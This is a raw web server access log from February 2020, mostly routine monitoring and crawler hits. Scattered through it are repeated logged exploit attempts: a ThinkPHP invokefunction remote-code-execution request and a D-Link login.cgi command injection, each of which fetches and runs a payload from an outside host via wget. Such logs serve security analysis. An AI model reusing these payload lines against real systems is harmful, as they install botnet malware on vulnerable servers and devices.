42.112.162.81 - - [12/Feb/2020:14:47:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.80.124.120 - - [12/Feb/2020:14:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:14:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.201 - - [12/Feb/2020:14:56:11 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.205 - - [12/Feb/2020:14:56:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:14:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.81.99.90 - - [12/Feb/2020:15:04:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:15:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.168.75.121 - - [12/Feb/2020:15:10:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:15:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [12/Feb/2020:15:11:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:15:11:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:15:11:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:15:12:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:15:12:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:15:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.194 - - [12/Feb/2020:15:26:22 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.192 - - [12/Feb/2020:15:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:15:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:15:30:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:15:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.69.94.118 - - [12/Feb/2020:15:37:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:15:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.211.242 - - [12/Feb/2020:15:38:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:15:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [12/Feb/2020:15:41:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:15:41:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:15:41:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [12/Feb/2020:15:42:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
34.244.2.75 - - [12/Feb/2020:15:42:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
125.128.241.71 - - [12/Feb/2020:15:42:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:15:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.102 - - [12/Feb/2020:15:49:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:15:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.2.147 - - [12/Feb/2020:15:51:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [12/Feb/2020:15:51:11 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:15:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:15:52:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
118.69.191.113 - - [12/Feb/2020:15:52:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:15:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:15:53:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:15:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:15:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.35.143 - - [12/Feb/2020:15:56:40 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
222.186.19.221 - - [12/Feb/2020:15:56:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:15:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.35.143 - - [12/Feb/2020:15:56:58 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36"
37.151.150.246 - - [12/Feb/2020:15:57:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [12/Feb/2020:15:57:37 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:15:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.175 - - [12/Feb/2020:15:58:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:15:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.78.129 - - [12/Feb/2020:15:59:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.104.236.246 - - [12/Feb/2020:15:59:30 +0100] "GET /js/index.js HTTP/1.1" 404 331 "-" "python-requests/2.22.0"
212.91.246.72 - - [12/Feb/2020:15:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:16:01:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
211.214.19.125 - - [12/Feb/2020:16:02:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.155.101 - - [12/Feb/2020:16:03:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.68.24.68 - - [12/Feb/2020:16:04:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.177.244.100 - - [12/Feb/2020:16:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.220.12 - - [12/Feb/2020:16:11:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:16:13:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:16:13:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.247.129.79 - - [12/Feb/2020:16:13:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:16:13:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:16:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:16:13:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:16:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:16:15:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:16:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:16:17:30 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [12/Feb/2020:16:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
